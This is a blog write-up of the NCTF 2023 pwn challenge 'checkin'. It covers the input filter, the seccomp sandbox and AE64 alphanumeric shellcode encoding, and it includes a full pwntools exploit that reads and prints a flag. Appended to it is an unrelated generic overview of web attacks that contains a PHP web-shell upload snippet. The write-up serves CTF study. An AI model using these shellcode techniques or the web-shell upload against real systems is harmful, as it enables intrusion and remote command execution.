2023 NCTF-PWN-【checkin】(AE64 取非 填满长度显示沙箱避免换行符干扰 1也是write 减少shellcode长度 bug exp )

本文详细介绍了如何使用checkinglibc2.38AE64工具将64位shellcode转换为可执行的纯文本,涉及十六进制反汇编、取非操作、填充长度以避免沙箱干扰,以及优化shellcode长度以减少bug和创建exploit的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

checkin glibc 2.38

AE64

AE64

AE64 is a tool which can transform any amd64 architecture shellcode into pure alphanumeric shellcode using self-modify code technology, so the page need to be writable.

  • 用于64位
  • 原始的shellcode允许有空字符
  • ae64生成时的参数传递
obj=AE64()
shellcode=(obj.encode(asm(shellcode),strategy="small",offset=0x34,register="rax"))
  • 第一个参数为shellcode的机器码允许有空字符
  • 第二个参数为small即生成尽可能少的shellcode
  • register为当将要执行该shellcode第一条语句时候此时值加上offset等于shellcode第一条语句的地址的寄存器

shellcode前面的十六进制反汇编

在这里插入图片描述

取非

取个非更好理解

    if ( (mmap_start_addr[i + 48] <= '`' || mmap_start_addr[i + 48] > 'z')
      && (mmap_start_addr[i + 48] <= '@' || mmap_start_addr[i + 48] > 'Z')
      && (mmap_start_addr[i + 48] <= '/' || mmap_start_addr[i + 48] > '9')
      && mmap_start_addr[i + 48] != '/' )

了解了些单词😄

在这里插入图片描述

在这里插入图片描述

填满长度显示沙箱避免换行符干扰

在这里插入图片描述

read每次读一个,write也一样

1也是write

0014: 0x15 0x00 0x05 0x00000000  if (A != read) goto 0020
 0015: 0x20 0x00 0x00 0x00000010  A = fd # read(fd, buf, count)
 0016: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0020
 0017: 0x20 0x00 0x00 0x00000020  A = count # read(fd, buf, count)
 0018: 0x15 0x00 0x01 0x00000001  if (A != 0x1) goto 0020 
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x15 0x00 0x05 0x00000001  if (A != 1) goto 0026 # write

减少shellcode长度

  • 可以看情况不使用64位寄存器,而使用32位寄存器
  • 注意函数执行完后是否有可用的寄存器,如read()的第三个参数执行完后没有变化,那么write可以直接拿来用

bug

如果jnz loop_write后面没有指令,是flag的字符,这个时候不知道为什么会跳转到一个奇怪的地方去,但如果再随便加条指令如pop rax就可以正常跳转了

exp

from pwn import *
from ae64 import AE64
context(arch='amd64', os='linux', log_level='debug')

shellcode="""
push r9
pop rdi
push 2
pop rax
syscall 
"""

shellcode='''

xor edi, edi
push 3 
pop rax
syscall

mov rdi, 0x2023012c
push 2 
pop rax
xor esi,esi
xor edx,edx
syscall
   
push rax
pop rdi
push 0x20230000
pop rsi
push 1
pop rdx
xor rax,rax
xor r8,r8
loop_read:
syscall
xor rax,rax
inc r8
inc rsi
cmp r8,0x40
jnz loop_read

xor r8,r8
push  1
pop rax
inc rdi
push 0x20230000
pop rsi
push 1
pop rdx

loop_write:
syscall
inc r8
inc rsi
cmp r8,0x40
jnz loop_write

push rax  
'''

get_addr_call_shellcode=asm(
'''
pop rax
pop rax
pop rax
pop rax
''')

obj=AE64()
shellcode=(obj.encode(asm(shellcode),strategy="small",offset=0x34,register="rax"))
s=process("./pwn_patched")
print(len(shellcode))
pause()
#gdb.attach(s,"b main")
s.send(get_addr_call_shellcode+shellcode+b"flag")
s.interactive()
### NCTF 2023 Web 挑战解题思路 关于NCTF 2023的具体题目细节尚未公开,因此无法提供确切的解题方法。然而,基于以往的比赛经验和常见的Web安全挑战模式,可以推测可能涉及的技术方向以及相应的解题策略。 #### 常见Web挑战类型及其解决方式 以下是几种典型的Web挑战类型及对应的解决方案: 1. **SQL注入** SQL注入是一种经典的攻击手段,通常利用输入验证不足来执行恶意SQL语句。可以通过构造特殊参数触发漏洞并获敏感数据。 - 使用布尔盲注或时间盲注提数据库结构和内容[^2]。 - 利用联合查询(UNION SELECT)读其他表的数据。 2. **命令执行** 如果应用程序未正确过滤用户输入,则可能导致远程命令执行漏洞。例如,在PHP环境中可能存在`eval()`函数滥用的情况。 - 构造payload绕过WAF防护机制,如编码转换、字符替换等技术处理请求字符串。 - 测试不同类型的shell命令组合以访问服务器文件系统或者提权操作。 3. **反序列化漏洞** 当程序接受来自外部不可信源的对象时可能发生此类问题。如果对象被篡改后重新加载到内存中就会引发危险行为。 - 寻找可控制变量作为入口点尝试修改其内部属性值达到目的。 - 结合已知框架特性设计自定义gadget链实现任意代码运行效果。 4. **XSS跨站脚本攻击** 此类攻击允许攻击者向网页插入恶意JavaScript代码影响受害者浏览体验甚至窃cookie信息。 - 发现反射型/存储型XSS位置并通过精心准备好的script标签嵌入有效载荷测试反馈情况。 - 考虑DOM-based XSS场景下动态生成的内容也可能成为突破口之一。 5. **文件上传与解析漏洞** 不当配置可能会让法扩展名伪装成合法图片从而突破防御措施进而实施进一步行动比如web shell植入等等。 - 尝试多种MIME type欺骗手法看看能否成功避开检测机制完成目标动作。 - 注意base64编码图像流形式提交有时也能规避常规扫描器拦截风险。 ```python import requests url = 'http://example.com/upload' files = {'file': ('test.php', '<?php echo shell_exec($_GET["cmd"]); ?>')} response = requests.post(url, files=files) if response.status_code == 200: print('File uploaded successfully.') else: print('Failed to upload file.') ``` #### 总结 以上仅列举了一些可能性较大的方面供参考学习之用;实际比赛中还需要灵活应对各种突发状况不断调整战术直至找到最终答案为止!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

看星猩的柴狗

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值